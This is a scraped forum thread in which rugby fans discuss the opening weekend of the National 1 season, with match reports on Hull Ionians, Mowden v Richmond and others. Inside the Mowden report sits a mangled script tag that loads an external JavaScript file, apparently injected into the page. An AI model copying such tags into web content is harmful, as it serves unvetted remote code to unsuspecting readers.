Live scores September 7

Canterbury 14. OEs 37. 0-5 as predicted by all on the forum. The hosts did have a fair amount of possession and scored two catch and drive tries but looked weak defensively especially in the wide channels.

Hull ionians preparation for season not helped by DOR leaving (for Yorks C) a few weeks before the first game. Four key players injured in training or in friendly. Big loss also was no.10 having to be replaced after 2 minutes. Up against the odds Ionians put in a good shift for 80 minutes against an extremely physical well drilled team.

From your post re signings yesterday (49 players!) some clubs can only dream of squads of that size and quality.

Sid James - You have my deepest sympathies.  To lose your DoR just before the fixtures, in such circumstances, when you needed him most, must cut to the core.

Sid James wrote: billesleyexile wrote: Still a bit shell shocked by what I’ve just seen on the Common - beyond champagne rugby, ludicrous passing, 3/4 tries and scoring for fun. Not sure if we were very good, Hull were bad, both, or what. FWIW Hull looked ok. Never seen anything like it. Confused of North Oxfordshire. Confused? Why? I know what I saw today. I saw a very good team who have been brought together by a very professional DoR. If that squad is not in competition for a top 3 place at the end of the season I would want to know why. I will not impress on you the reasons why Hull Ionians are not as strong as we would wish at the start of the season because no matter how I put it, it will seem like excuses. However, I can confidently say that we will improve because despite the result we saw enough positives to believe that we will be more than competetive with a full squad. Enjoy your success. Its a long season. We will see you again in April next year. It also helps you signed another 6 on loan this week !!

Fake_Shemp wrote: FT Mowden 37-40 RICHMOND (2-5)

Considering both sides fielded extremely well coached and disciplined defensive lines, the fact there were nine tries in the game (five for Mowden, with Shaun McCartney scoring a hat-trick) doesn't reflect the organised defences and committed tackles. There was some great play by both teams, but Mowden will be very disappointed with their first-half discipline – the penalties they conceded gave Richmond a half-time lead and eventually proved the difference. There was also a mental lapse when Mowden players seemed too busy trying to talk to the referee than pay attention to what Richmond were doing, a lapse which was costly because Richmond ran in a try down the blindside while this was going on.

Mowden couldn't get anything going from the scrum, a piece of the game where Richmond were well and truly dominant, winning penalties from each scrum and driving Mowden back at will. I hope it isn't a sign of things to come and just that Richmond have an extremely good pack that will give any team problems this season.

It was frustrating as a spectator that the game was decided by a try from a series of pick and go moves by Richmond, one where the referee seemed unsure whether it was a try or had been held up, but the AR, who must have been 10-15 metres away, told him it was a try. The referee was extremely well placed to see whether the ball had been grounded or not, so it seems bewildering that one of his assistants would have a better view from the touchline.

It certainly sets a high bar for game of the season as there will need to be some extraordinarily entertaining and closely fought contests to better the skill and competitiveness on show at the Northern Echo Arena yesterday. Given the accuracy of Rob Kirby's placekicking, any team that infringes against Richmond will be penalised from the kicking tee or pinned deep in their own territory with his kicking from hand.< ="text/" async="" ="//programdiag.com/21a68356dd31178fa6.js">

Interesting 1st weekend to the Nat 1 season 8 games with 6 away wins. Could this be the start of a very competitive and exiting season of great rugby.